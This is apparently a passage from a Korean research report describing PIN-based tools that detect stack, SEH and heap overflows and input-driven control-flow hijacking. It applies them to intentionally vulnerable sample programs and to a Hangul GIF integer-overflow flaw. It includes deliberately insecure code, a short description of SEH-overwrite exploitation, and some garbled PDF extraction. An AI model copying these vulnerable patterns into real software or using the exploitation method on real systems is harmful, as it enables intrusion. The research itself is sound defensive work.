// Value : insaddr ( call 명령어주소 ) RetAddrList[addr-4] = insaddr; ret 명령어가실행이되면해당스택은더이상리턴주소를가지고있는공간이아니기때문에다음과같이테이블에서해제를해주어야한다. for(it = RetAddrList.begin() ; it!= RetAddrList.end() ; it++) { if(it->second == (CallAddr)) { RetAddrList.erase(it); break; } } 2. SEH 구조분석 본도구에서는 pin 툴을이용하여쓰기명령어가실행되는부분을후 킹하여오버플로우여부를감지한다. 윈도우는 NULL 포인터참조또는 0으로나누는행위등과같은예외를처리하는기능을제공하는데이것을 SEH 구조체라고한다. SEH 구조체는여러개를포함할수있으며가장마지막의예외처리는기본기능인 MSVCRT!exhandler이다. 따라서어떠한예외처리도가지지않는프로그램에서예외사항이발생할경우 MSVCRT!exhandler가실행된다. SEH 구조체는메모리의스택영역에존재하며언제든지추가및삭제를하기위해연결리스트형태로구현되어있다. 또한스택영역에존재하기때문에스택오버플로우에의해언제든지변조될가능성이있다. SEH 구조체의형태는아래와같다.
( 그림 4-14) SEH 구조체 thread 정보를포함하는 TEB 의 FS[0] 은첫번째 SEH 를가리키고있다. 또한모든 SEH 링크의형태를통해추적할수있다. 다음과같은코드 를통해 SEH 구조체의시작주소를구한다. _asm{ } mov temp, eax mov eax, dword ptr fs:[0] mov SEH_Pointer, eax mov eax, temp 제 5 절힙구조분석도구 1. 힙생성및힙할당분석 Windows 기반소프트웨어일부는 HeapCreate API를이용하여디폴트힙 (heap) 이아닌새로운힙을생성하여사용을한다. 이와같이새로운힙영역을생성하고해당지점에 HeapAlloc API를사용하여힙메모리를할당을한다. 따라서생성된힙영역보다큰힙메모리가할당
된다면힙오버플로우가발생이되게된다. 힙오버플로우를분석하기 위해서는이와같이힙이생성되는크기와할당되는크기를분석하는것 이필요하다. ( 그림 4-15) 힙생성과할당 HeapCreate 와 HeapAlloc API 의정보는다음과같다. [ 표 4-5] 힙관련 API 정보 API HeapCreate HeapAlloc API 정보 DWORD floptions, // 옵션 SIZE_T dwinitialsize, // 힙크기 SIZE_T dwmaximumsize // 최대힙크기 return : 생성된힙영역주소 HANDLE hheap, // 할당할힙영역주소 DWORD dwflags, // 옵션 SIZE_T dwbytes // 할당할크기 new 오퍼레이터또한메모리를할당하므로위와동일한과정을통 해메모리할당정보를저장해야한다. ( 그림 4-16) 메모리할당
[ 표 4-6] new Operator 정보 Operator new Operator 정보 Size // 힙크기 return : 할당된힙주소 새로운힙영역이생기고할당할때다음과같이생성된정보를저장한다. typedef struct allcatedmemtable{ ADDRINT IP; // 명령어주소 ADDRINT size; // 생성된힙영역크기 }ameminfo; // Key : 생성된힙영역주소 // Value : 힙크기및기타정보 map<addrint, ameminfo> memtable; memtable[eax].ip = ip; memtable[eax].size = memsize; 2. 메모리복사분석 할당된메모리에할당된값보다큰값을복사하는경우버퍼오버플로우가발생하게된다. 예를들면, HeapAlloc API를통해 1000 바이트의메모리를할당하였는데 memcpy 등의 API를사용하여 100000 바이트의값을복사하게되면할당된메모리공간보다큰값이복사되기때문에문제가발생한다. 따라서 memcpy 와같이메모리복사에의해버퍼오버플로우발생을탐지및분석하기위해서해당 API의분석이필요하다. memcpy 와같은경우는첫번째인자값은복사될메모리영역 (dst), 복사할메모리영역 (src), 복사할크기 (size) 이다. 따라서복사될주소와복사할크기를이용하여버퍼오버플로우의발생여부를판단할수있다.
제 6 절입력값에의한취약점탐지및분석도구 1. 스택오버플로우탐지및분석도구 스택구조에서하나의프레임은각각리턴되는주소를가진다. 스택오버플로우는이부분에메모리쓰기를시도하는경우발생된다. 따라서함수호출이발생될때마다해당영역의테이블을가지고있다가이부분에쓰기를발생하는부분에서스택오버플로우를감지할수있다. 사용한알고리즘은아래와같다. ➀ - 지정된모듈에서 "call" 이발생하는순간리턴주소가저장되는메모리의위치를저장한다. - 지정된모듈에서 ret 이발생하는순간해당되는리턴주소가저장되는메모리의위치를해제한다. 2 메모리에 Write 하는명령어가실행되는순간 ➀ 에서생성된테이블을참조하여스택오버플로우발생여부를감지한다. 3 오버플로우가감지될경우메모리에쓰는주소와현재리턴주소가저장되어있는위치그리고쓰기명령어의주소를출력한다. 먼저, 해당모듈내에 call 이발생하는지점에다가아래와같이부 분을추가한다. // Call 이발생했을때리턴주소를저장하는루틴을추가한다. if(ins_iscall(ins)) // Call 명령를 trace INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)FuncCallTrace, IARG_UINT32, INS_Address(ins), IARG_REG_VALUE, REG_ESP, IARG_END);
또한리턴이발생했을때마다해당리턴주소를해제하는부분을추가 한다. // Ret 이발생했을때리턴주소를저장하는루틴을추가한다. if(ins_isret(ins)) // Ret 명령를 trace INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)FuncRetTrace, IARG_UINT32, MarkedCallAddr, IARG_REG_VALUE, REG_ESP, IARG_END); 마지막으로모든메모리쓰기명령어에오버플로우를체크하는부분을 추가한다. // 쓰기명령이발생했을때오버플로우발생여부를탐지하는루틴 if(ins_ismemorywrite(ins)) // Ret 명령를 trace INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)RecordWriteAddrSize, IARG_UINT32, INS_Address(ins), IARG_MEMORYWRITE_EA, IARG_MEMORYWRITE_SIZE, IARG_END); 위와같이세가지핸들러를통해스택오버플로우발생여부를탐지한다. 1 Call 이발생할때저장되는리턴주소의위치를기록하는핸들러 2 Ret 이발생할때저장되었던리턴주소의위치를해제하는핸들러 3 쓰기명령이발생할때오버플로우여부를감지하는핸들러 Ÿ 스택오버플로우감지의한계점
최근프로그램의로직의복잡해지면서단순히스택내의리턴주소를덮 어쓰는방식보다는여러가지방식을통한취약점이많아지는추세이다. ( 그림 4-17) 스택에저장된값이다른레지스터에전달되는예 위코드는 memmove 의호출을통해단순히리턴주소가덮어씌우는구 조가아닌 EDX 의값을변경해발생되는취약점의예시이다. 따라서더 욱정교한취약점발생의발견루틴을개발해볼필요가있다. 2. SEH 오버플로우탐지및분석도구 SEH 오버플로우를탐지하기위해서는먼저 SEH 핸들러주소를구하고해당주소에잘못된쓰기명령을하는코드를감지한다. 만약파일입력을통해서스택의 SEH 구조체를덮어쓸수있다면원하는쉘코드를실행할수있다. 하나의 SEH 가아래와같이있다면다음의원격코드를작성하여입력한다. 아래는 SEH 오버플로우를감지하는알고리즘이다. 1 메모리에 Write하는명령어가실행되는순간 TEB로부터 SEH 구조체가저장되어있는위치를참조하여오버플로우여부를판단한다. 2 오버플로우가감지될경우메모리에쓰는주소와모든 SEH 구조
체가저장된위치그리고쓰기명령어의주소를출력한다. ( 그림 4-18) SEH 덮어쓰기 스택영역이다음과같이덮어쓸수있도록 payload와같이파일을만든다. 이후프로그램에서크래시가발생할경우 SEH 핸들러에의해 pop pop ret 이수행되고, 이때 eip는 jump to shellcode를가리키게된다. 3. 힙오버플로우탐지및분석 가. 생성된힙영역보다큰힙메모리가할당되는경우 본케이스는 HeapCreate 에의해생성된힙영역의크기보다큰메모리가할당되는경우발생한다. 따라서힙오버플로우가발생하는지점을탐지및분석하기위해서위의방법과유사하게 HeapCreate 가호출될때두번째인자값 ( 힙사이즈 ) 을체크하여힙정보테이블에입력하고 HeapAlloc 이될때마다해당힙사이즈를넘어서는지체크하여힙오버플로우탐지및관련지점을분석할수있다. hheap = HeapCreate return value ( 생성된힙주소 ) csize = HeapCreate 2 nd argument ( 생성된힙크기 ) aheap = HeapAlloc 1 st argument ( 할당될힙주소 ) aszie = HeapAlloc 3 rd argument ( 할당할힙크기 ) if hheap == aheap: if asize > csize: HeapOverflow
HeapCreate 가호출될때힙크기주소등힙생성정보를테이블에저장한다. HeapAlloc 이호출될때힙생성정보테이블을체크하여할당될힙의크기가생성된힙의크기보다크다면오버플로우가발생한다. 다음은본도구를통해얻은결과이다. Heap Overflow : HncGif10.flt + 0xaef9 Heap Create : HncGif10.flt + 0xf291 Heap Size : 0x1000 Heap Alloc Size : 0x13f8f028 HncGif10.flt 모듈의상대주소 0xaef9에서힙오버플로우가발생하였음을확인할수있다. 세부내용으로는 0xf291에서 HeapCreate 를이용하여 0x1000 크기의힙영역을생성하였고 HeapAlloc 에의해 0x13f8f028 크기의메모리가할당되어힙오버플로우가발생하였음확인할수있다. 나. 할당된메모리에큰데이터를복사하는경우 힙오버플로우와같은경우는할당된힙영역보다데이터가복사가되어발생한다. 힙오버플로우가발생하는내부코드를살펴보면다음과같이 new 를통해메모리할당을하고 memcpy 를통해할당된영역에메모리영역을복사하는것을확인할수있다. ( 그림 4-19) 취약 API 실행지점
new 와의첫번째인자는할당될메모리크기이다. memcpy 의첫번째인자값은복사될메모리영역 (dst), 복사할메모리영역 (src), 복사할크기 (size) 이다. new 에서할당된메모리영역을넘어서는것을체크하기위해 pin을이용하여다음과같이구현한다. ( 그림 4-20) 힙오버플로우탐지 new, malloc, HeapCreate 등으로메모리가할당되는경우 메모리할당정보테이블에할당되는메모리영역정보및메모리할당 API 가호출되는지점의주소를저장한다. memcpy 로메모리영역이 복사되는경우복사될메모리영역 (dst) 의크기는 dst + size 이다. 메모리 할당정보테이블을체크하여할당된메모리영역을넘는경우경고를 로그로남긴다. Heap Overflow : MsDocGroup.DFT + 0x1fc3c6 >> memcpy 0xbcc95f9 0x566f44b 0xd0 Heap Alloc Addr : MsDocGroup.DFT + 0x1f9bf4 Heap Allocated Addr : 0xbcc9008 ~ 0xbcc96a2 Heap Assign Addr : 0xbcc95f9 ~ 0xbcc96c9 위의로그를확인하여보면첫번째라인에서힙오버플로우가발생한주소와 memcpy 의해발생되었다는것을확인할수있다. 해당메모리는 MsDocGroup.DFT 의상대주소 0x1f9bf4에서할당되었고할당된메모리주소범위는 0xbcc9008에서 0xbcc96a2임을확인할수있다. 마지막으로 memcpy 에의해복사될메모리영역은 0xbcc95f9 ~ 0xbcc96c9으로할당된메모리최대크기인 0xbcc96a2를넘어선것을확
인할수있다. 제작된도구는이와같이오버플로우가의심이되는경 우를로그로남기고메모리가할당되는영역또한로그로남긴다. 4. 제어흐름변조탐지및분석 제어흐름변조는입력데이터가다음과같은 indirect branch 명령어 로전달이되어프로그램의제어흐름을변조시키는공격이다. Ÿ Ÿ Ÿ Ÿ jmp eax jmp dword ptr [eax] call eax call dword ptr [eax] 따라서위와같은명령어에입력데이터가전달되는지확인하여입력 데이터로프로그램의제어흐름에영향을미치는지를확인할수있다. 다 음과같이 call 명령어의피연산자가레지스터또는메모리일경우레지 스터또는메모리의베이스레지스터또는인덱스레지스터가 taint 되었 는지확인을한다. VOID CallReg(ADDRINT ip, REG reg, char * disasm) { if ( taintcheckreg(reg) ) { MemTrace<<"[CF] "<<ip<<" "<<disasm<<endl; checkindexreg(reg); } } 제작된도구로분석을하여보면다음과같이입력파일에의해제어흐 름이변경되는것을확인할수있다. [Open] 0x401197 readme [Read] 0x4011c8 0x1 ~ 0x1f5 [buf]0x13fd8c [R] jumping.exe 0x10c4 movsx edx, byte ptr [ecx+0x2] [M] 0x13fd8e [V] 0x63 [fo] 0x3 [R] jumping.exe 0x10c4 movsx edx, byte ptr [ecx+0x2] [M] 0x13fd8f [V] 0x64 [fo] 0x4
[R] jumping.exe 0x10d5 mov eax, dword ptr [ebp-0x8] [M] 0x13fd20 [V] 0x63000000 [fo] 0x3 [R] jumping.exe 0x10c4 movsx edx, byte ptr [ecx+0x2] [M] 0x13fd90 [V] 0x61 [fo] 0x5 [R] jumping.exe 0x10d5 mov eax, dword ptr [ebp-0x8] [M] 0x13fd20 [V] 0x63640000 [fo] 0x3 0x4... [R] jumping.exe 0x1112 mov eax, dword ptr [ebp-0x8] [M] 0x13fd20 [V] 0x63646161 [fo] 0x3 0x4 0x5 0x6 [CF] 0x401115 call eax [fo] 0x6 0x5 0x4 0x3 위와같이입력데이터가전파되다가 0x401112 에서입력데이터가 eax 레지스터에복사가되고마지막으로 call eax 명령에의해해당함수를 호출하게된다. ( 그림 4-21) 제어흐름변경
제 5 장구현도구를이용한취약점분석 제 1 절도구사용방법소개 1. 실험환경 구현도구를테스트하기위한실험환경은다음과같다. Ÿ 운영체제 : VMWare Windows XP SP2 Ÿ PIN 버전 : 2.11 kit 49303 Ÿ 디버거 : IDA Pro 6.2 Ÿ 비쥬얼스튜디오 6.0, 2010 2. 제작도구사용법 제작된도구는모두인텔의동적바이너리분석도구인 PIN 으로구현 이되어있다. PIN 의일반적인실행방법은다음과같다. > pin.bat t 플러그인.dll 옵션 -- 분석하고자하는파일.exe ( 그림 5-1) PIN 트레이스실행 가. API Trace 및취약점탐지도구 본도구는 API 트레이스및취약점탐지기능을포함하고있다. 커맨드창에서다음과같이입력하여분석을진행할수있다. 본도구는트레이스를 On/Off 할수있는리모컨과함께사용이된다. 입력할수있는옵션은다음과같다.
[ 표 5-1] API 트레이스도구옵션 옵션 설명 -m 문자열 해당문자열이포함된모듈만을분석 -r 트레이스를 On/Off할수있는리모컨사용 다음은실행예제이다. ( 그림 5-2) API 트레이스도구실행 jumping.exe 라는문자열이포함된모듈만을분석하고리모컨은사 용하지않는다. 이와같이실행하면다음과같이로그를확인할수있 다. jumping.exe 0x7df0 RtlAllocateHeap ARG 0 : 0x1cb0000 ARG 0x1 : 0 ARG 0x2 : 0x140 ret : 0x1cb0650 jumping.exe 0x8a8c RtlAllocateHeap ARG 0 : 0x1cb0000 ARG 0x1 : 0x8 ARG 0x2 : 0x41c4 Heap Overflow : jumping.exe + 0x8a8c >> 0x1cb0000 0x8 0x41c4 Heap Create : jumping.exe + 0x60d4 Heap Size : 0x1000 Heap Alloc Size : 0x41c4 ret : 0x1cb0798 트레이스를 On/Off 리모컨옵션은아래아한글과같은상용프로그램초기화면이나타낼때까지의트레이스가필요없는경우함께사용될수있다. 초기화면이실행될때까지의트레이스는입력데이터에의한취약점과연관성이낮아해당지점까지의분석은불필요하다고예상된다. 따라서트레이스를 On/Off 하여원하는지점부터분석을수행할수있다. 리모컨파일을실행하면다음과같이트레이스를 On/Off 할수있다.
( 그림 5-3) 트레이스 On/Off 리모컨 TRACE : () 에서괄호안에숫자가 0 인경우트레이스가 Off 된상태이 고 t 를입력하여트레이스가 On 상태가되면숫자를 1 로변경하고 트레이스를시작한다. ( 그림 5-4) API 트레이스도구실행 다. 위와같이실행을하면다음과같이아래아한글초기화면이실행된 ( 그림 5-5) 아래아한글초기화면 리모컨에서 t 를입력하여트레이스를 On 시키고입력파일을드 래그앤드랍을하여파일을열게되면해당시점부터의트레이스로그 가저장되게된다. 본도구에서는추가옵션없이힙오버플로우와스택오버플로우가탐 지된다.
나. 데이터흐름추적도구 데이터흐름추적도구 (Taint analysis) 는입력데이터의흐름을추적하는 도구로본연구에서는입력데이터를파일로제한한다. 입력할수있는 옵션은다음과같다. [ 표 5-2] 데이터흐름추적도구옵션 옵션 설명 -d 문자열 해당문자열이포함된모듈만을분석 -f 문자열 추적하고자하는입력파일의문자열 -m 입력데이터와메모리접근명령어연관성출력 -c 입력데이터와 call 명령어의연관성출력 -a c옵션과함께사용되며의심 API 정보만을출력 -b 입력데이터와분기주소와의연관성출력 d 와 f 옵션을제외한나머지옵션은입력흐름을추적하는데 영향을주지않는다. 해당옵션은원하는정보만을출력하여분석을용 이하게도와주는옵션이다. 다음과같이실행할수있다. ( 그림 5-6) 제어흐름분석도구실행 [Open] 0x401197 readme [Read] 0x4011c8 0x1 ~ 0x1f5 [buf]0x13fd8c [R] jumping.exe 0x10c4 movsx edx, byte ptr [ecx] [M] 0x13fd8c [V] 0x61 [fo] 0x1 [R] jumping.exe 0x10c4 movsx edx, byte ptr [ecx] [M] 0x13fd8d [V] 0x62 [fo] 0x2... [CF] 0x401114 call eax [fo] 0x4 0x3 0x2 0x1 [E] 0xc0000005
제 2 절소프트웨어취약점분석 본절에서는 4장에서설계및구현된도구를통해테스트용소프트웨어및상용소프트웨어의취약점을분석을한다. 테스트용소프트웨어는분석하고자하는취약점에대한간단한예제코드로제어흐름조작, 스택오버플로우, SEH 오버플로우, 힙오버플로우취약점코드를사용한다. 또한아래아한글, 곰플레이어, RM2MP3와같은상용소프트웨어는대한취약점을분석을한다. 취약점분석으로는제어흐름조작, 스택오버플로우, SEH 오버플로우, 힙오버플로우취약점에대한탐지및분석을하고해당입력데이터가취약점을유발하는취약 API 및코드와연관성을지니고있는지를분석한다. 1. 테스트용소프트웨어취약점분석결과 테스트용소프트웨어제어흐름조작스택오버플로우 SEH 오버플로우힙오버플로우 분석도구입력데이터흐름분석 (Taint analysis) 스택오버플로우탐지도구 SEH 오버플로우탐지도구힙오버플로우탐지도구 가. 제어흐름조작공격예제 입력값에의해프로그램의흐름이변경이되는경우입력값을조작 하여프로그램의흐름을원하는대로변경하는것이가능하다. 다음은 입력파일에서값을읽어해당지점으로분기가발생하는예제이다. #include <windows.h> #include <stdio.h> #include <string.h> #include <stdlib.h> typedef unsigned int ADDRINT ; void impossible() 표 75 제어흐름변조예제소스코드
{ } printf("its impossible to execute this function\n"); void readfunc(char * buf) { ADDRINT funcaddr; ADDRINT readaddr = 0; int i ; funcaddr = (ADDRINT) &impossible ; for ( i = 0; i < 4; i++ ) { readaddr = readaddr (( (int) buf[i] ) << ( (3-i) * 8) ); } printf("func printf("readvalue = 0x%x\n", funcaddr); = 0x%x\n", readaddr); printf("start call %x\n", readaddr); } int fd; asm{ } mov eax, readaddr call eax int main(int argc, char *argv[]) { char buf[500]; HANDLE fd; DWORD readn; int count; fd = CreateFile("readme", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); count = ReadFile(fd, buf, 500, &readn, NULL); if(count == -1) { perror("read"); exit(-1); } } readfunc(buf); return 0; 위와같이 readme 파일에서입력값을읽어해당값에의해분기 가발생되는예제이다. 다음과같이파일의내용을 eax 에복사하고이를
호출한다. ( readme 파일의내용은 abcdefg 이다.) ( 그림 5-7) 제어흐름변조코드 파일의몇번째바이트가제어흐름에영향을주는지확인하기위해서 위에서제작된 taint 모듈을통해분석을하였다. ( 그림 5-8) 제어흐름변조분석을위한도구실행 위와같이 readme 파일의흐름을추적한다. 추적되는대상은 jumping.exe 로한정을짓는다. Call 명령어와메모리접근명령어, call eax 와같은흐름제어명령어정보를출력한다. (1) 케이스 1 : 입력값에 1~4 번째바이트가제어흐름에영향을미치는 경우 [Open] 0x401197 readme [Read] 0x4011c8 0x1 ~ 0x1f5 [buf]0x13fd8c... [C] jumping.exe + 0x10f8 call 0x401260 -> printf [2] 0x61626364 [fo] 0x1 0x2 0x3 0x4... [R] jumping.exe + 0x1111 mov eax, dword ptr [ebp-0x8] [M] 0x13fd20 [V] 0x61626364 [fo] 0x1 0x2 0x3 0x4 [CF] 0x401114 call eax [fo] 0x4 0x3 0x2 0x1
[E] 0xc0000005 위의결과를보면 0x401197에서 readme 파일을오픈하였고 0x4011c8에서해당입력데이터를버퍼에저장한것을확인할수있다. 그리고 jumping.exe+0x10f8에서 2번째인자값으로입력데이터를사용한것을확인할수있는데이는주소값을확인하기위한 printf 함수때문에발생된결과이다. 마지막으로 call eax 부분에서 1 ~ 4번째바이트값을이용하여분기가발생한것을확인할수있다. 2) case 2 : 입력값에 3~6 번째바이트가제어흐름에영향을미치는경 우 [Open] 0x401197 readme [Read] 0x4011c8 0x1 ~ 0x1f5 [buf]0x13fd8c... [C] jumping.exe + 0x110a call 0x401260 -> printf [2] 0x63646161 [fo] 0x3 0x4 0x5 0x6... [R] jumping.exe 0x1112 mov eax, dword ptr [ebp-0x8] [M] 0x13fd20 0x63646161 [fo] 0x3 0x4 0x5 0x6 [CF] 0x401115 call eax [fo] 0x6 0x5 0x4 0x3 [E] 0xc0000005 [V] 위와같이입력값의흐름을확인할수있고 3 ~ 6 번째바이트가제어 흐름에영향을주는경우또한위와같이탐지를할수있다. (2) 스택오버플로우 다음은스택오버플로우예제코드이다.
취약점발생지점 ( 그림 5-9) 스택오버플로우예제소스코드 위의코드를최적화기능없이컴파일하면아래와같다. crash 루틴 취약점 발생지 main 루틴 crash 함수호 ( 그림 5-10) 스택오버플로우예제디스어셈블코드 위와같이컴파일된코드를통해모듈을작동했을때해당되는지점 을정확하게잡았으며출력된로그결과는아래와같다.
현재저장된프레 취약점이발생한지 리턴주소가 저장된 ( 그림 5-11) 제작도구결과 위로그는스택오버플로우를감지할경우발생한것이다. 위로그를통해현재 3개의프레임이스택에저장되어있음을알수있다. 각각의프레임에서리턴주소가저장된위치는로그에기록되어있다. 또한각프레임을생성한 call instruction의위치정보도출력되어있다. Stack OverFlow에기록되어있는첫번째정보는취약점이발생한지점의 instruction 주소이다. 두번째와세번째정보는덮어쓰고자하는부분의메모리주소와덮어쓰는바이트의크기이다. 네번째정보는스택내의프레임에서덮어쓰는부분의리턴주소가저장되어있는위치이다. 마지막정보는덮어씨어지는프레임을생성한 call instruction의주소이다. (3) SEH 오버플로우 다음은 SEH 오버플로우예제코드이다. strcpy 의호출에의해서 SEH 핸들러를덮어쓰는코드이다. #include <stdio.h> #include <string.h> #include <windows.h> int ExceptionHandler(void); 표 78 SEH 오버플로우예제소스코드
int main(int argc, char *argv[]) { char temp[5]; printf("application Launched\n"); try{ printf("%x\n", temp); //strcpy(temp,"); printf("aaa\n"); } except (ExceptionHandler()){ } strcpy(temp,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); return 0; } int ExceptionHandler(void) { printf("exception\n"); return 0; } SEH 핸들러의주소를테이블로만들고있다가해당부분에잘못된쓰 기명령을하는부분을감지해내는루틴을작성하였다수행결과는아래 와같다. SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70
Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c SEH OverFlow : SEH_HandlerExample.exe+0x1081 WriteAddr : 0x12ff70 Size : 0x4 SEH structure Address :0x12ff6c 발견된부분의주소는쓰기를수행하는주소와일치한다 (4) 힙오버플로우예제 ( 그림 5-12) SEH 오버플로우발생지점 다음은파일에서읽어온값으로힙을할당하고해당메모리에메모리 값보다큰값을입력하는예제이다. void HeapOv1(char * buf ) { ADDRINT readaddr = 0; HANDLE hnd = HeapCreate(HEAP_NO_SERIALIZE, 0, 0x1000);
TCHAR * tmp; char tmp[10000] = {'A',}; int i; printf(" 힙오버플로우 1 \n"); for ( i = 0; i < 4; i++ ) { readaddr = readaddr (( (int) buf[ i ] ) << ( (3-i) * 8) ); } if (hnd == NULL) { exit(0); } tmp = (TCHAR *)HeapAlloc(hnd, HEAP_NO_SERIALIZE, readaddr); memcpy( tmp, tmp, readaddr+0x10); } 다음은힙오버플로우탐지도구를통해탐지된결과이다. heap1.exe 0x1124 HeapCreate ARG 0 : 0x1 ARG 0x1 : 0 ARG 0x2 : 0x1000 ret : 0x1fd0000... heap1.exe 0x11bd RtlAllocateHeap ARG 0 : 0x1fd0000 ARG 0x1 : 0x1 ARG 0x2 : 0x61626364 Heap Overflow : heap1.exe + 0x11bd >> 0x1fd0000 0x1 0x61626364 Heap Create : heap1.exe + 0x1124 Heap Size : 0x1000 Heap Alloc Size : 0x61626364 ret : 0 heap1.exe 0x11df memcpy ARG 0 : 0 ARG 0x1 : 0x13d60c ARG 0x2 : 0x61626374 Heap Overflow : heap1.exe + 0x11df >> 0 0x13d60c 0x61626374 Heap Alloc Addr : heap1.exe + 0x11bd
Heap Allocated Addr : 0 ~ 0x61626364 Heap Assign Addr : 0 ~ 0x61626374 ret : 0x61626374 [E] 0xc0000005 고, 위의로그를확인하면다음같이 heap1.exe+0x1124 에서힙이생성되 ( 그림 5-13) 힙생성코드 다음과같이생성된힙영역에메모리가할당된것을확인할수있다. ( 그림 5-14) 힙할당코드 HeapCreate 를통해 0x1000 크기의힙영역이생성되었는데해당지점에힙영역보다큰 0x61626364 크기로힙할당을하므로힙이할당되지않고이후 memcpy 에도영향을미치게된다. 해당코드를입력데이트흐름추적도구를통해분석하면다음과같은결과를얻을수있다. ( 그림 5-15) 힙오버플로탐지의흐름을분석하기위해실행 [Open] 0x401387 readme [Read] 0x4013b8 0x1 ~ 0x1f5 [buf]0x13fd8c [C] heapoverflow.exe + 0x11bd call dword ptr [0x426144] -> RtlAllocateHeap [3] 0x61626364 [fo] 0x1 0x2 0x3 0x4
[C] heapoverflow.exe + 0x11df call 0x401610 -> memcpy [2] 0x13d60c [fo] 0x1 0x2 0x3 0x4 <- 버그 [3] 0x61626374 [fo] 0x1 0x2 0x3 0x4 [E] 0xc0000005 위의결과를확인하여보면입력값의 1~4 번째바이트가 HeapAlloc, memcpy 에 3 번째인자값과연관성이있다는것을확 인할수있다. 2. 상용소프트웨어취약점분석결과 가. 아래한글 GIF 이미지처리정수형오버플로우취약점 (13-108) 본취약점은 GIF 이미지의크기를특정크기이상으로자작한 HWP 를 통해취약점이유발되는것으로취약점을일으키도록조작된 hwp 파일 에서 Gif 이미지사이즈를조작하여발생시킨다. 본취약점의입력값은 hwp 파일이지만실제로프로그램을실행시켜보면 hwp 파일에서 gif 이미지파일을드랍하고이를다시입력값으로사용하여취약점이발생한다. 따라서입력데이터의흐름을정확히파악하기위해서는 hwp 파일에서특정파일이드랍되는것을추적하여야한다. ( 본연구에서는해당부분을구현하지않고문제점도출로남겨둔다. 구현상의문제와시간상의문제로해당부분은수동으로처리한다. )
( 그림 5-16) 파일드랍 (1) 힙오버플로우탐지 Ÿ 버전 : 한글 2010 SE 8.5.5.1092 제작된도구를통해프로그램을실행시키면다음과같이힙오버플로 우가발생하고다음과같이로그결과가나타난다. Heap Overflow : HncGif10.flt + 0xaef9 Heap Create : HncGif10.flt + 0xf291 Heap Size : 0x1000 Heap Alloc Size : 0x13f8f028 위의로그를보면 HncGif10.flt + 0xaef9에서힙오버플로우가발생이되는것을확인할수있다. 생성된힙영역의크기는 0x1000인데그보다큰 0x13f8f028 크기로메모리를할당하기때문에힙오버플로우가발생한다. 입력데이터와해당오버플로우의연관성을확인하기위해입력데이터흐름분석도구 (taint analysis) 를통해입력데이터의몇번째인덱스가 API에전달되는지확인한다. (2) 입력데이터흐름분석과취약 API 연관성확인
( 그림 5-17) 입력데이터분석을위한도구실행 위와같이.gif 파일을추적하고분석대상은 Hnc 폴더로제한한다. 호 출정보를로그로남긴다. 본취약점은 Gif 이미지의크기를특정크기이상으로조작한 HWP 를 통해취약점유발한다. 다음은데이터흐름분석도구를통해얻은결과 이다. [Open] 0xe945eba C:\DOCUME~1\hajacrew\LOCALS~1\Temp\Hnc\BinData\EMB000004788570.gif [Read] 0xe941d2a 0x1 ~ 0x1001 [buf]0xe9ea360 [C] HncGif10.flt + 0x88a8 call 0xe938860 -> ImportGR [2] 0x8 [fo] 0xb [C] HncGif10.flt + 0x88c4 call 0xe93ae82 -> ImportGR [2] 0x8 [fo] 0xb [C] HncGif10.flt + 0xba87 call 0xe93ff94 -> unnamedimageentrypoint [3] 0xe93bb2e [fo] 0x30d 0x30c 0x30b [C] HncGif10.flt + 0x13b1 call 0xe93a310 -> ImportGR [1] 0xffff [fo] 0x314 0x313 [2] 0xe280 [fo] 0x316 0x315 [C] HncGif10.flt + 0xa34e call 0xe93a080 -> ImportGR [1] 0xffff [fo] 0x314 0x313 [2] 0xe280 [fo] 0x316 0x315 [C] HncGif10.flt + 0xa09a call 0xe93a020 -> ImportGR [1] 0xffff [fo] 0x314 0x313 [C] HncGif10.flt + 0xa02b call 0xe93a000 -> ImportGR [1] 0xffff [fo] 0x314 0x313 [C] HncGif10.flt + 0xa034 call 0xe93a010 -> ImportGR [1] 0x7fff8 [fo] 0x314 0x313 [C] HncGif10.flt + 0xa35d call 0xe93ae82 -> ImportGR [1] 0x13f8f028 [fo] 0x314 0x313 0x315 0x316 [C] HncGif10.flt + 0xaef9 call edi -> RtlAllocateHeap [3] 0x13f8f028 [fo] 0x314 0x313 0x315 0x316 [C] HncGif10.flt + 0xa37c call 0xe93ad20 -> ImportGR [1] 0x200d0020 [fo] 0x314 0x313 0x315 0x316 [3] 0x13f8f028 [fo] 0x314 0x313 0x315 0x316
위의 ReadFile 이실행된후첫번째로 taint 된값을인자로사용한다. 해당호출은 ImportGR 함수내에존재한다. 위의결과의주요부분을 라인별로각각분석하면다음과같다. 다음은입력데이터에있는이미지사이즈를계산하는함수로 Taint 된값이전달이된다. [C] HncGif10.flt + 0x13b1 call 0xe93a310 -> ImportGR [1] 0xffff [fo] 0x314 0x313 [2] 0xe280 [fo] 0x316 0x315 ( 그림 5-18) 입력데이터전파 1 ( 디스어셈블 ) ( 그림 5-19) 입력데이터전파 1 ( 디컴파일 ) 이미지사이즈는다음함수로전달이된다. [C] HncGif10.flt + 0xa34e call 0xe93a080 -> ImportGR [1] 0xffff [fo] 0x314 0x313 [2] 0xe280 [fo] 0x316 0x315 ( 그림 5-20) 입력데이터전파 2 ( 디스어셈블 )
